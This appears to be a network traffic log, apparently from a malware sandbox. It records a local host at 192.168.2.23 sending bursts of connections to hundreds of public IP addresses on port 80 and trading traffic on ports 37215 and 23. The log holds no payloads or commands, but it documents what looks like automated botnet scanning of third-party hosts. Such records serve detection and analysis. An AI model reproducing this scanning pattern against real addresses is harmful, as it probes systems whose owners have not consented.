Dec 3, 2024 22:11:53.416419029 CET	6883	80	192.168.2.23	77.126.155.191
Dec 3, 2024 22:11:53.416435003 CET	6883	80	192.168.2.23	44.46.21.19
Dec 3, 2024 22:11:53.416435957 CET	6883	80	192.168.2.23	80.125.242.103
Dec 3, 2024 22:11:53.416435003 CET	6883	80	192.168.2.23	68.121.45.193
Dec 3, 2024 22:11:53.416438103 CET	37215	35626	156.183.41.159	192.168.2.23
Dec 3, 2024 22:11:53.416443110 CET	6883	80	192.168.2.23	79.29.28.207
Dec 3, 2024 22:11:53.416444063 CET	6883	80	192.168.2.23	140.112.250.224
Dec 3, 2024 22:11:53.416445017 CET	6883	80	192.168.2.23	43.252.177.132
Dec 3, 2024 22:11:53.416452885 CET	37215	35230	41.97.159.163	192.168.2.23
Dec 3, 2024 22:11:53.416454077 CET	6883	80	192.168.2.23	53.241.127.102
Dec 3, 2024 22:11:53.416456938 CET	6883	80	192.168.2.23	122.67.60.230
Dec 3, 2024 22:11:53.416456938 CET	6883	80	192.168.2.23	97.115.94.33
Dec 3, 2024 22:11:53.416456938 CET	6883	80	192.168.2.23	51.1.116.2
Dec 3, 2024 22:11:53.416456938 CET	6883	80	192.168.2.23	121.8.80.30
Dec 3, 2024 22:11:53.416487932 CET	6883	80	192.168.2.23	196.46.158.178
Dec 3, 2024 22:11:53.416497946 CET	37215	37818	156.64.61.35	192.168.2.23
Dec 3, 2024 22:11:53.416627884 CET	37215	36238	156.114.213.59	192.168.2.23
Dec 3, 2024 22:11:53.416640997 CET	37215	39692	41.80.180.178	192.168.2.23
Dec 3, 2024 22:11:53.416701078 CET	57970	80	192.168.2.23	85.19.189.63
Dec 3, 2024 22:11:53.416712046 CET	57970	80	192.168.2.23	85.19.189.63
Dec 3, 2024 22:11:53.416866064 CET	37215	57274	41.182.215.161	192.168.2.23
Dec 3, 2024 22:11:53.416878939 CET	37215	50122	197.12.39.12	192.168.2.23
Dec 3, 2024 22:11:53.416892052 CET	37215	38890	41.210.191.65	192.168.2.23
Dec 3, 2024 22:11:53.416903973 CET	37215	58434	41.44.55.171	192.168.2.23
Dec 3, 2024 22:11:53.416915894 CET	37215	52042	156.9.37.230	192.168.2.23
Dec 3, 2024 22:11:53.416927099 CET	37215	38036	41.86.39.229	192.168.2.23
Dec 3, 2024 22:11:53.416938066 CET	37215	53650	156.12.237.133	192.168.2.23
Dec 3, 2024 22:11:53.416949034 CET	37215	47528	41.250.32.220	192.168.2.23
Dec 3, 2024 22:11:53.416963100 CET	37215	40582	197.90.173.218	192.168.2.23
Dec 3, 2024 22:11:53.416975021 CET	37215	41206	156.20.177.69	192.168.2.23
Dec 3, 2024 22:11:53.416985989 CET	37215	51678	197.216.4.85	192.168.2.23
Dec 3, 2024 22:11:53.416996002 CET	37215	40818	197.137.99.7	192.168.2.23
Dec 3, 2024 22:11:53.417006969 CET	37215	33986	156.63.198.34	192.168.2.23
Dec 3, 2024 22:11:53.417016983 CET	37215	36640	156.85.114.140	192.168.2.23
Dec 3, 2024 22:11:53.417028904 CET	37215	43208	41.244.89.175	192.168.2.23
Dec 3, 2024 22:11:53.417042017 CET	37215	45514	197.59.17.178	192.168.2.23
Dec 3, 2024 22:11:53.417052984 CET	37215	51350	156.143.38.41	192.168.2.23
Dec 3, 2024 22:11:53.417118073 CET	58160	80	192.168.2.23	85.19.189.63
Dec 3, 2024 22:11:53.417565107 CET	43134	80	192.168.2.23	72.124.120.20
Dec 3, 2024 22:11:53.417565107 CET	43134	80	192.168.2.23	72.124.120.20
Dec 3, 2024 22:11:53.417870045 CET	43328	80	192.168.2.23	72.124.120.20
Dec 3, 2024 22:11:53.418267012 CET	57792	80	192.168.2.23	50.183.212.32
Dec 3, 2024 22:11:53.418267012 CET	57792	80	192.168.2.23	50.183.212.32
Dec 3, 2024 22:11:53.418586969 CET	57982	80	192.168.2.23	50.183.212.32
Dec 3, 2024 22:11:53.422565937 CET	42342	80	192.168.2.23	167.115.243.47
Dec 3, 2024 22:11:53.422568083 CET	53256	80	192.168.2.23	113.28.235.30
Dec 3, 2024 22:11:53.422571898 CET	40304	80	192.168.2.23	36.128.111.41
Dec 3, 2024 22:11:53.433363914 CET	37215	46696	41.4.101.209	192.168.2.23
Dec 3, 2024 22:11:53.433427095 CET	46696	37215	192.168.2.23	41.4.101.209
Dec 3, 2024 22:11:53.491627932 CET	37215	42886	156.35.235.116	192.168.2.23
Dec 3, 2024 22:11:53.491714001 CET	37215	42886	156.35.235.116	192.168.2.23
Dec 3, 2024 22:11:53.491784096 CET	42886	37215	192.168.2.23	156.35.235.116
Dec 3, 2024 22:11:53.493828058 CET	37215	41632	156.20.177.69	192.168.2.23
Dec 3, 2024 22:11:53.493966103 CET	41632	37215	192.168.2.23	156.20.177.69
Dec 3, 2024 22:11:53.496054888 CET	37215	46164	41.87.47.67	192.168.2.23
Dec 3, 2024 22:11:53.496535063 CET	37215	50544	197.12.39.12	192.168.2.23
Dec 3, 2024 22:11:53.496562004 CET	37215	46200	41.87.47.67	192.168.2.23
Dec 3, 2024 22:11:53.496612072 CET	46200	37215	192.168.2.23	41.87.47.67
Dec 3, 2024 22:11:53.496628046 CET	50544	37215	192.168.2.23	197.12.39.12
Dec 3, 2024 22:11:53.496696949 CET	46200	37215	192.168.2.23	41.87.47.67
Dec 3, 2024 22:11:53.496809959 CET	37215	57218	156.103.109.243	192.168.2.23
Dec 3, 2024 22:11:53.497045994 CET	37215	57254	156.103.109.243	192.168.2.23
Dec 3, 2024 22:11:53.497092009 CET	57254	37215	192.168.2.23	156.103.109.243
Dec 3, 2024 22:11:53.497104883 CET	57254	37215	192.168.2.23	156.103.109.243
Dec 3, 2024 22:11:53.497373104 CET	37215	34610	197.202.156.108	192.168.2.23
Dec 3, 2024 22:11:53.497699022 CET	37215	34646	197.202.156.108	192.168.2.23
Dec 3, 2024 22:11:53.497740984 CET	34646	37215	192.168.2.23	197.202.156.108
Dec 3, 2024 22:11:53.497756004 CET	34646	37215	192.168.2.23	197.202.156.108
Dec 3, 2024 22:11:53.498013973 CET	37215	55636	197.209.146.144	192.168.2.23
Dec 3, 2024 22:11:53.498332024 CET	37215	55672	197.209.146.144	192.168.2.23
Dec 3, 2024 22:11:53.498389006 CET	55672	37215	192.168.2.23	197.209.146.144
Dec 3, 2024 22:11:53.498389006 CET	55672	37215	192.168.2.23	197.209.146.144
Dec 3, 2024 22:11:53.498713017 CET	37215	34432	41.141.218.151	192.168.2.23
Dec 3, 2024 22:11:53.498946905 CET	37215	34468	41.141.218.151	192.168.2.23
Dec 3, 2024 22:11:53.498984098 CET	34468	37215	192.168.2.23	41.141.218.151
Dec 3, 2024 22:11:53.499006987 CET	34468	37215	192.168.2.23	41.141.218.151
Dec 3, 2024 22:11:53.499249935 CET	37215	43664	197.149.227.205	192.168.2.23
Dec 3, 2024 22:11:53.499504089 CET	37215	43700	197.149.227.205	192.168.2.23
Dec 3, 2024 22:11:53.499541998 CET	43700	37215	192.168.2.23	197.149.227.205
Dec 3, 2024 22:11:53.499552965 CET	43700	37215	192.168.2.23	197.149.227.205
Dec 3, 2024 22:11:53.500216961 CET	23	8163	112.59.244.5	192.168.2.23
Dec 3, 2024 22:11:53.500228882 CET	23	8163	36.227.191.134	192.168.2.23
Dec 3, 2024 22:11:53.500238895 CET	23	8163	93.148.138.193	192.168.2.23
Dec 3, 2024 22:11:53.500253916 CET	8163	23	192.168.2.23	112.59.244.5
Dec 3, 2024 22:11:53.500269890 CET	8163	23	192.168.2.23	93.148.138.193
Dec 3, 2024 22:11:53.500276089 CET	8163	23	192.168.2.23	36.227.191.134
Dec 3, 2024 22:11:53.505474091 CET	80	41758	211.248.1.241	192.168.2.23
Dec 3, 2024 22:11:53.505517006 CET	41758	80	192.168.2.23	211.248.1.241
Dec 3, 2024 22:11:53.519891024 CET	37215	50668	197.133.211.94	192.168.2.23
Dec 3, 2024 22:11:53.520097017 CET	37215	50694	197.133.211.94	192.168.2.23
Dec 3, 2024 22:11:53.520155907 CET	50694	37215	192.168.2.23	197.133.211.94
Dec 3, 2024 22:11:53.520174026 CET	50694	37215	192.168.2.23	197.133.211.94
Dec 3, 2024 22:11:53.535011053 CET	80	6883	143.229.68.126	192.168.2.23
Dec 3, 2024 22:11:53.535069942 CET	6883	80	192.168.2.23	143.229.68.126
Dec 3, 2024 22:11:53.535376072 CET	80	6883	220.77.138.145	192.168.2.23
Dec 3, 2024 22:11:53.535418034 CET	6883	80	192.168.2.23	220.77.138.145
Dec 3, 2024 22:11:53.536685944 CET	80	57970	85.19.189.63	192.168.2.23
Dec 3, 2024 22:11:53.537533998 CET	80	43134	72.124.120.20	192.168.2.23
Dec 3, 2024 22:11:53.538265944 CET	80	57792	50.183.212.32	192.168.2.23
Dec 3, 2024 22:11:53.539602995 CET	37215	46164	41.87.47.67	192.168.2.23
Dec 3, 2024 22:11:53.543591022 CET	37215	43664	197.149.227.205	192.168.2.23
Dec 3, 2024 22:11:53.543639898 CET	37215	34432	41.141.218.151	192.168.2.23
Dec 3, 2024 22:11:53.543649912 CET	37215	55636	197.209.146.144	192.168.2.23
Dec 3, 2024 22:11:53.543662071 CET	37215	34610	197.202.156.108	192.168.2.23
Dec 3, 2024 22:11:53.543725014 CET	37215	57218	156.103.109.243	192.168.2.23
Dec 3, 2024 22:11:53.552655935 CET	80	42342	167.115.243.47	192.168.2.23
Dec 3, 2024 22:11:53.552766085 CET	42342	80	192.168.2.23	167.115.243.47
Dec 3, 2024 22:11:53.552875042 CET	42342	80	192.168.2.23	167.115.243.47
Dec 3, 2024 22:11:53.553466082 CET	33884	80	192.168.2.23	143.229.68.126
Dec 3, 2024 22:11:53.554181099 CET	45648	80	192.168.2.23	220.77.138.145
Dec 3, 2024 22:11:53.563637972 CET	37215	50668	197.133.211.94	192.168.2.23
Dec 3, 2024 22:11:53.579906940 CET	80	57792	50.183.212.32	192.168.2.23
Dec 3, 2024 22:11:53.579922915 CET	80	43134	72.124.120.20	192.168.2.23
Dec 3, 2024 22:11:53.579933882 CET	80	57970	85.19.189.63	192.168.2.23
Dec 3, 2024 22:11:53.617105961 CET	37215	46200	41.87.47.67	192.168.2.23
Dec 3, 2024 22:11:53.617322922 CET	46200	37215	192.168.2.23	41.87.47.67
Dec 3, 2024 22:11:53.617598057 CET	37215	57254	156.103.109.243	192.168.2.23
Dec 3, 2024 22:11:53.617669106 CET	57254	37215	192.168.2.23	156.103.109.243
Dec 3, 2024 22:11:53.618004084 CET	37215	34646	197.202.156.108	192.168.2.23
Dec 3, 2024 22:11:53.618052006 CET	34646	37215	192.168.2.23	197.202.156.108
Dec 3, 2024 22:11:53.618535995 CET	37215	55672	197.209.146.144	192.168.2.23
Dec 3, 2024 22:11:53.618619919 CET	55672	37215	192.168.2.23	197.209.146.144
Dec 3, 2024 22:11:53.619096041 CET	37215	34468	41.141.218.151	192.168.2.23
Dec 3, 2024 22:11:53.619144917 CET	34468	37215	192.168.2.23	41.141.218.151
Dec 3, 2024 22:11:53.619565964 CET	37215	43700	197.149.227.205	192.168.2.23
Dec 3, 2024 22:11:53.620300055 CET	37215	43700	197.149.227.205	192.168.2.23
Dec 3, 2024 22:11:53.620358944 CET	43700	37215	192.168.2.23	197.149.227.205
Dec 3, 2024 22:11:53.640619040 CET	37215	50694	197.133.211.94	192.168.2.23
Dec 3, 2024 22:11:53.640717983 CET	50694	37215	192.168.2.23	197.133.211.94
Dec 3, 2024 22:11:53.673417091 CET	80	33884	143.229.68.126	192.168.2.23
Dec 3, 2024 22:11:53.673522949 CET	33884	80	192.168.2.23	143.229.68.126
Dec 3, 2024 22:11:53.673712969 CET	33884	80	192.168.2.23	143.229.68.126
Dec 3, 2024 22:11:53.673731089 CET	33884	80	192.168.2.23	143.229.68.126
Dec 3, 2024 22:11:53.674005032 CET	80	42342	167.115.243.47	192.168.2.23
Dec 3, 2024 22:11:53.674066067 CET	42342	80	192.168.2.23	167.115.243.47
Dec 3, 2024 22:11:53.674097061 CET	80	45648	220.77.138.145	192.168.2.23
Dec 3, 2024 22:11:53.674140930 CET	45648	80	192.168.2.23	220.77.138.145
Dec 3, 2024 22:11:53.674228907 CET	33888	80	192.168.2.23	143.229.68.126
Dec 3, 2024 22:11:53.674695969 CET	45648	80	192.168.2.23	220.77.138.145
Dec 3, 2024 22:11:53.674695969 CET	45648	80	192.168.2.23	220.77.138.145
Dec 3, 2024 22:11:53.675019026 CET	45652	80	192.168.2.23	220.77.138.145
Dec 3, 2024 22:11:53.793625116 CET	80	33884	143.229.68.126	192.168.2.23
Dec 3, 2024 22:11:53.794156075 CET	80	33888	143.229.68.126	192.168.2.23
Dec 3, 2024 22:11:53.794276953 CET	33888	80	192.168.2.23	143.229.68.126
Dec 3, 2024 22:11:53.794384956 CET	33888	80	192.168.2.23	143.229.68.126
Dec 3, 2024 22:11:53.794420004 CET	6883	80	192.168.2.23	203.50.8.113
Dec 3, 2024 22:11:53.794425964 CET	6883	80	192.168.2.23	2.51.143.104
Dec 3, 2024 22:11:53.794452906 CET	6883	80	192.168.2.23	23.105.251.53
Dec 3, 2024 22:11:53.794452906 CET	6883	80	192.168.2.23	138.141.247.162
Dec 3, 2024 22:11:53.794457912 CET	6883	80	192.168.2.23	204.33.164.130
Dec 3, 2024 22:11:53.794461012 CET	6883	80	192.168.2.23	73.150.237.197
Dec 3, 2024 22:11:53.794461012 CET	6883	80	192.168.2.23	177.25.213.167
Dec 3, 2024 22:11:53.794465065 CET	6883	80	192.168.2.23	19.208.57.186
Dec 3, 2024 22:11:53.794481993 CET	6883	80	192.168.2.23	213.89.187.153
Dec 3, 2024 22:11:53.794483900 CET	6883	80	192.168.2.23	162.156.93.202
Dec 3, 2024 22:11:53.794483900 CET	6883	80	192.168.2.23	4.29.253.50
Dec 3, 2024 22:11:53.794501066 CET	6883	80	192.168.2.23	164.143.163.98
Dec 3, 2024 22:11:53.794501066 CET	6883	80	192.168.2.23	202.130.23.209
Dec 3, 2024 22:11:53.794509888 CET	6883	80	192.168.2.23	183.109.121.123
Dec 3, 2024 22:11:53.794512033 CET	6883	80	192.168.2.23	43.198.132.86
Dec 3, 2024 22:11:53.794512033 CET	6883	80	192.168.2.23	203.130.186.3
Dec 3, 2024 22:11:53.794514894 CET	6883	80	192.168.2.23	42.185.7.251
Dec 3, 2024 22:11:53.794514894 CET	6883	80	192.168.2.23	63.15.93.83
Dec 3, 2024 22:11:53.794528961 CET	6883	80	192.168.2.23	24.101.117.10
Dec 3, 2024 22:11:53.794528961 CET	6883	80	192.168.2.23	189.70.225.6
Dec 3, 2024 22:11:53.794544935 CET	6883	80	192.168.2.23	47.179.14.230
Dec 3, 2024 22:11:53.794548988 CET	6883	80	192.168.2.23	115.196.100.14
Dec 3, 2024 22:11:53.794553995 CET	6883	80	192.168.2.23	43.181.222.160
Dec 3, 2024 22:11:53.794562101 CET	6883	80	192.168.2.23	200.115.243.111
Dec 3, 2024 22:11:53.794567108 CET	6883	80	192.168.2.23	154.143.157.63
Dec 3, 2024 22:11:53.794570923 CET	6883	80	192.168.2.23	213.11.51.142
Dec 3, 2024 22:11:53.794579983 CET	6883	80	192.168.2.23	2.122.189.231
Dec 3, 2024 22:11:53.794590950 CET	6883	80	192.168.2.23	154.107.121.158
Dec 3, 2024 22:11:53.794595003 CET	6883	80	192.168.2.23	51.32.88.183
Dec 3, 2024 22:11:53.794596910 CET	6883	80	192.168.2.23	213.129.144.154
Dec 3, 2024 22:11:53.794596910 CET	6883	80	192.168.2.23	207.227.191.72
Dec 3, 2024 22:11:53.794603109 CET	6883	80	192.168.2.23	210.84.160.108
Dec 3, 2024 22:11:53.794612885 CET	6883	80	192.168.2.23	104.187.218.23
Dec 3, 2024 22:11:53.794624090 CET	6883	80	192.168.2.23	173.12.235.4
Dec 3, 2024 22:11:53.794629097 CET	6883	80	192.168.2.23	199.166.238.174
Dec 3, 2024 22:11:53.794629097 CET	6883	80	192.168.2.23	51.64.123.44
Dec 3, 2024 22:11:53.794636011 CET	6883	80	192.168.2.23	12.211.119.241
Dec 3, 2024 22:11:53.794651985 CET	6883	80	192.168.2.23	217.13.181.72
Dec 3, 2024 22:11:53.794651985 CET	6883	80	192.168.2.23	163.251.112.48
Dec 3, 2024 22:11:53.794651985 CET	6883	80	192.168.2.23	65.213.146.251
Dec 3, 2024 22:11:53.794661045 CET	6883	80	192.168.2.23	153.146.85.204
Dec 3, 2024 22:11:53.794661045 CET	6883	80	192.168.2.23	194.72.9.160
Dec 3, 2024 22:11:53.794667006 CET	80	45648	220.77.138.145	192.168.2.23
Dec 3, 2024 22:11:53.794672012 CET	6883	80	192.168.2.23	114.68.96.226
Dec 3, 2024 22:11:53.794682980 CET	6883	80	192.168.2.23	208.29.167.54
Dec 3, 2024 22:11:53.794689894 CET	6883	80	192.168.2.23	39.180.153.43
Dec 3, 2024 22:11:53.794698000 CET	6883	80	192.168.2.23	216.49.225.86
Dec 3, 2024 22:11:53.794704914 CET	6883	80	192.168.2.23	4.239.90.134
Dec 3, 2024 22:11:53.794720888 CET	6883	80	192.168.2.23	139.55.186.126
Dec 3, 2024 22:11:53.794723988 CET	6883	80	192.168.2.23	160.249.105.109
Dec 3, 2024 22:11:53.794723988 CET	6883	80	192.168.2.23	126.45.52.93
Dec 3, 2024 22:11:53.794743061 CET	6883	80	192.168.2.23	85.253.56.252
Dec 3, 2024 22:11:53.794743061 CET	6883	80	192.168.2.23	120.120.40.255
Dec 3, 2024 22:11:53.794743061 CET	6883	80	192.168.2.23	88.118.40.93
Dec 3, 2024 22:11:53.794747114 CET	6883	80	192.168.2.23	17.238.22.186
Dec 3, 2024 22:11:53.794747114 CET	6883	80	192.168.2.23	165.202.225.131
Dec 3, 2024 22:11:53.794763088 CET	6883	80	192.168.2.23	5.251.243.138
Dec 3, 2024 22:11:53.794771910 CET	6883	80	192.168.2.23	67.83.153.188
Dec 3, 2024 22:11:53.794771910 CET	6883	80	192.168.2.23	134.123.192.244
Dec 3, 2024 22:11:53.794771910 CET	6883	80	192.168.2.23	9.54.248.58
Dec 3, 2024 22:11:53.794789076 CET	6883	80	192.168.2.23	223.93.174.235
Dec 3, 2024 22:11:53.794790983 CET	6883	80	192.168.2.23	151.55.142.9
Dec 3, 2024 22:11:53.794791937 CET	6883	80	192.168.2.23	106.253.228.173
Dec 3, 2024 22:11:53.794800997 CET	6883	80	192.168.2.23	109.175.150.115
Dec 3, 2024 22:11:53.794807911 CET	6883	80	192.168.2.23	101.138.64.9
Dec 3, 2024 22:11:53.794816017 CET	6883	80	192.168.2.23	208.145.204.104
Dec 3, 2024 22:11:53.794816017 CET	6883	80	192.168.2.23	112.222.123.207
Dec 3, 2024 22:11:53.794825077 CET	6883	80	192.168.2.23	187.236.7.185
Dec 3, 2024 22:11:53.794831038 CET	6883	80	192.168.2.23	134.152.108.214
Dec 3, 2024 22:11:53.794842958 CET	6883	80	192.168.2.23	79.129.203.180
Dec 3, 2024 22:11:53.794842958 CET	6883	80	192.168.2.23	18.77.233.16
Dec 3, 2024 22:11:53.794861078 CET	6883	80	192.168.2.23	102.15.199.149
Dec 3, 2024 22:11:53.794861078 CET	6883	80	192.168.2.23	114.231.134.52
Dec 3, 2024 22:11:53.794892073 CET	6883	80	192.168.2.23	78.147.185.228
Dec 3, 2024 22:11:53.794892073 CET	6883	80	192.168.2.23	112.40.87.46
Dec 3, 2024 22:11:53.794893026 CET	6883	80	192.168.2.23	126.61.20.21
Dec 3, 2024 22:11:53.794893026 CET	6883	80	192.168.2.23	103.226.209.99
Dec 3, 2024 22:11:53.794893026 CET	6883	80	192.168.2.23	162.7.22.91
Dec 3, 2024 22:11:53.794902086 CET	6883	80	192.168.2.23	217.149.151.69
Dec 3, 2024 22:11:53.794915915 CET	6883	80	192.168.2.23	159.85.250.200
Dec 3, 2024 22:11:53.794918060 CET	6883	80	192.168.2.23	36.122.226.81
Dec 3, 2024 22:11:53.794918060 CET	6883	80	192.168.2.23	105.94.212.174
Dec 3, 2024 22:11:53.794929981 CET	6883	80	192.168.2.23	195.131.5.198
Dec 3, 2024 22:11:53.794930935 CET	6883	80	192.168.2.23	188.237.251.84
Dec 3, 2024 22:11:53.794936895 CET	6883	80	192.168.2.23	96.47.38.181
Dec 3, 2024 22:11:53.794938087 CET	6883	80	192.168.2.23	212.7.228.157
Dec 3, 2024 22:11:53.794943094 CET	6883	80	192.168.2.23	206.152.49.208
Dec 3, 2024 22:11:53.794945955 CET	6883	80	192.168.2.23	53.16.66.224
Dec 3, 2024 22:11:53.794945955 CET	6883	80	192.168.2.23	200.90.160.187
Dec 3, 2024 22:11:53.794955969 CET	6883	80	192.168.2.23	184.247.229.99
Dec 3, 2024 22:11:53.794966936 CET	6883	80	192.168.2.23	193.65.248.111
Dec 3, 2024 22:11:53.794966936 CET	6883	80	192.168.2.23	107.227.122.77
Dec 3, 2024 22:11:53.794967890 CET	6883	80	192.168.2.23	74.61.85.201
Dec 3, 2024 22:11:53.794967890 CET	6883	80	192.168.2.23	184.158.69.68
Dec 3, 2024 22:11:53.794972897 CET	80	45652	220.77.138.145	192.168.2.23
Dec 3, 2024 22:11:53.794981956 CET	6883	80	192.168.2.23	174.7.114.52
Dec 3, 2024 22:11:53.794986963 CET	6883	80	192.168.2.23	89.9.229.209
Dec 3, 2024 22:11:53.794992924 CET	6883	80	192.168.2.23	154.81.34.149
Dec 3, 2024 22:11:53.795007944 CET	45652	80	192.168.2.23	220.77.138.145
Dec 3, 2024 22:11:53.795018911 CET	6883	80	192.168.2.23	119.188.155.58
Dec 3, 2024 22:11:53.795018911 CET	6883	80	192.168.2.23	201.27.209.141
Dec 3, 2024 22:11:53.795031071 CET	6883	80	192.168.2.23	208.190.14.67
Dec 3, 2024 22:11:53.795039892 CET	6883	80	192.168.2.23	107.10.4.95
Dec 3, 2024 22:11:53.795039892 CET	6883	80	192.168.2.23	205.166.122.83
Dec 3, 2024 22:11:53.795053959 CET	6883	80	192.168.2.23	102.247.94.155
Dec 3, 2024 22:11:53.795061111 CET	6883	80	192.168.2.23	20.25.66.63
Dec 3, 2024 22:11:53.795064926 CET	6883	80	192.168.2.23	107.67.108.234
Dec 3, 2024 22:11:53.795067072 CET	6883	80	192.168.2.23	222.154.105.231
Dec 3, 2024 22:11:53.795073032 CET	6883	80	192.168.2.23	48.97.70.187
Dec 3, 2024 22:11:53.795074940 CET	6883	80	192.168.2.23	61.132.159.189
Dec 3, 2024 22:11:53.795088053 CET	6883	80	192.168.2.23	90.64.214.100
Dec 3, 2024 22:11:53.795092106 CET	6883	80	192.168.2.23	157.12.225.160
Dec 3, 2024 22:11:53.795100927 CET	6883	80	192.168.2.23	87.166.58.170
Dec 3, 2024 22:11:53.795104980 CET	6883	80	192.168.2.23	152.118.9.21
Dec 3, 2024 22:11:53.795108080 CET	6883	80	192.168.2.23	160.86.25.110
Dec 3, 2024 22:11:53.795109987 CET	6883	80	192.168.2.23	176.220.254.173
Dec 3, 2024 22:11:53.795130014 CET	6883	80	192.168.2.23	92.207.50.235
Dec 3, 2024 22:11:53.795133114 CET	6883	80	192.168.2.23	159.114.192.150
Dec 3, 2024 22:11:53.795135975 CET	6883	80	192.168.2.23	159.142.164.178
Dec 3, 2024 22:11:53.795137882 CET	6883	80	192.168.2.23	57.149.170.64
Dec 3, 2024 22:11:53.795155048 CET	6883	80	192.168.2.23	113.169.22.110
Dec 3, 2024 22:11:53.795164108 CET	6883	80	192.168.2.23	102.114.101.245
Dec 3, 2024 22:11:53.795176029 CET	6883	80	192.168.2.23	9.160.86.121
Dec 3, 2024 22:11:53.795186996 CET	6883	80	192.168.2.23	79.167.239.10
Dec 3, 2024 22:11:53.795192003 CET	6883	80	192.168.2.23	153.123.90.145
Dec 3, 2024 22:11:53.795196056 CET	6883	80	192.168.2.23	221.244.132.76
Dec 3, 2024 22:11:53.795196056 CET	6883	80	192.168.2.23	133.147.85.91
Dec 3, 2024 22:11:53.795196056 CET	6883	80	192.168.2.23	146.136.34.14
Dec 3, 2024 22:11:53.795197964 CET	6883	80	192.168.2.23	161.240.144.23
Dec 3, 2024 22:11:53.795207977 CET	6883	80	192.168.2.23	114.108.35.19
Dec 3, 2024 22:11:53.795211077 CET	6883	80	192.168.2.23	188.82.210.116
Dec 3, 2024 22:11:53.795212984 CET	6883	80	192.168.2.23	81.2.60.234
Dec 3, 2024 22:11:53.795226097 CET	6883	80	192.168.2.23	72.31.227.147
Dec 3, 2024 22:11:53.795227051 CET	6883	80	192.168.2.23	24.211.18.219
Dec 3, 2024 22:11:53.795244932 CET	6883	80	192.168.2.23	156.208.210.89
Dec 3, 2024 22:11:53.795257092 CET	6883	80	192.168.2.23	125.124.124.172
Dec 3, 2024 22:11:53.795268059 CET	6883	80	192.168.2.23	104.111.32.7
Dec 3, 2024 22:11:53.795268059 CET	6883	80	192.168.2.23	170.53.174.169
Dec 3, 2024 22:11:53.795268059 CET	6883	80	192.168.2.23	90.32.184.169
Dec 3, 2024 22:11:53.795277119 CET	6883	80	192.168.2.23	37.46.195.125
Dec 3, 2024 22:11:53.795277119 CET	6883	80	192.168.2.23	220.9.29.48
Dec 3, 2024 22:11:53.795277119 CET	6883	80	192.168.2.23	219.22.168.138
Dec 3, 2024 22:11:53.795285940 CET	6883	80	192.168.2.23	53.90.14.69
Dec 3, 2024 22:11:53.795289993 CET	6883	80	192.168.2.23	167.71.145.191
Dec 3, 2024 22:11:53.795291901 CET	6883	80	192.168.2.23	156.236.226.188
Dec 3, 2024 22:11:53.795296907 CET	6883	80	192.168.2.23	45.240.175.208
Dec 3, 2024 22:11:53.795305014 CET	6883	80	192.168.2.23	45.234.212.166
Dec 3, 2024 22:11:53.795316935 CET	6883	80	192.168.2.23	53.182.250.155
Dec 3, 2024 22:11:53.795317888 CET	6883	80	192.168.2.23	202.145.185.154
Dec 3, 2024 22:11:53.795319080 CET	6883	80	192.168.2.23	36.216.12.12
Dec 3, 2024 22:11:53.795319080 CET	6883	80	192.168.2.23	183.108.31.118
Dec 3, 2024 22:11:53.795325041 CET	6883	80	192.168.2.23	85.102.138.194
Dec 3, 2024 22:11:53.795332909 CET	6883	80	192.168.2.23	146.225.35.116
Dec 3, 2024 22:11:53.795335054 CET	6883	80	192.168.2.23	197.167.198.188
Dec 3, 2024 22:11:53.795344114 CET	6883	80	192.168.2.23	50.195.245.102
Dec 3, 2024 22:11:53.795344114 CET	6883	80	192.168.2.23	58.32.234.4
Dec 3, 2024 22:11:53.795357943 CET	6883	80	192.168.2.23	93.89.31.42
Dec 3, 2024 22:11:53.795360088 CET	6883	80	192.168.2.23	36.111.178.123
Dec 3, 2024 22:11:53.795376062 CET	6883	80	192.168.2.23	203.31.158.239
Dec 3, 2024 22:11:53.795377016 CET	6883	80	192.168.2.23	110.244.204.21
Dec 3, 2024 22:11:53.795377016 CET	6883	80	192.168.2.23	96.67.31.171
Dec 3, 2024 22:11:53.795376062 CET	6883	80	192.168.2.23	63.163.83.171
Dec 3, 2024 22:11:53.795386076 CET	6883	80	192.168.2.23	136.104.12.20
Dec 3, 2024 22:11:53.795391083 CET	6883	80	192.168.2.23	134.171.54.40
Dec 3, 2024 22:11:53.795413971 CET	6883	80	192.168.2.23	100.8.122.228
Dec 3, 2024 22:11:53.795427084 CET	6883	80	192.168.2.23	68.81.148.98
Dec 3, 2024 22:11:53.795428038 CET	6883	80	192.168.2.23	37.12.103.62
Dec 3, 2024 22:11:53.795428038 CET	6883	80	192.168.2.23	49.10.141.255
Dec 3, 2024 22:11:53.795429945 CET	6883	80	192.168.2.23	185.50.138.18
Dec 3, 2024 22:11:53.795429945 CET	6883	80	192.168.2.23	199.196.246.7
Dec 3, 2024 22:11:53.795432091 CET	6883	80	192.168.2.23	115.73.110.38
Dec 3, 2024 22:11:53.795440912 CET	6883	80	192.168.2.23	106.93.238.135
Dec 3, 2024 22:11:53.795440912 CET	6883	80	192.168.2.23	105.134.198.195
Dec 3, 2024 22:11:53.795440912 CET	6883	80	192.168.2.23	208.57.114.63
Dec 3, 2024 22:11:53.795440912 CET	6883	80	192.168.2.23	32.110.250.57
Dec 3, 2024 22:11:53.795442104 CET	6883	80	192.168.2.23	209.20.248.33
Dec 3, 2024 22:11:53.795440912 CET	6883	80	192.168.2.23	154.245.88.80
Dec 3, 2024 22:11:53.795443058 CET	6883	80	192.168.2.23	175.203.158.28
Dec 3, 2024 22:11:53.795443058 CET	6883	80	192.168.2.23	59.28.174.52
Dec 3, 2024 22:11:53.795443058 CET	6883	80	192.168.2.23	171.167.244.178
Dec 3, 2024 22:11:53.795444965 CET	6883	80	192.168.2.23	77.175.187.55
Dec 3, 2024 22:11:53.795449972 CET	6883	80	192.168.2.23	190.252.181.219
Dec 3, 2024 22:11:53.795456886 CET	6883	80	192.168.2.23	218.166.12.92
Dec 3, 2024 22:11:53.795456886 CET	6883	80	192.168.2.23	121.196.21.141
Dec 3, 2024 22:11:53.795459986 CET	6883	80	192.168.2.23	144.4.79.12
Dec 3, 2024 22:11:53.795468092 CET	6883	80	192.168.2.23	49.189.116.192
Dec 3, 2024 22:11:53.795469999 CET	6883	80	192.168.2.23	179.255.241.238
Dec 3, 2024 22:11:53.795469999 CET	6883	80	192.168.2.23	134.165.194.42
Dec 3, 2024 22:11:53.795471907 CET	6883	80	192.168.2.23	49.168.169.106
Dec 3, 2024 22:11:53.795480013 CET	6883	80	192.168.2.23	189.24.235.222
Dec 3, 2024 22:11:53.795500040 CET	6883	80	192.168.2.23	44.0.186.245
Dec 3, 2024 22:11:53.795500040 CET	6883	80	192.168.2.23	189.52.105.73
Dec 3, 2024 22:11:53.795511007 CET	6883	80	192.168.2.23	18.109.64.92
Dec 3, 2024 22:11:53.795511007 CET	6883	80	192.168.2.23	60.206.143.173
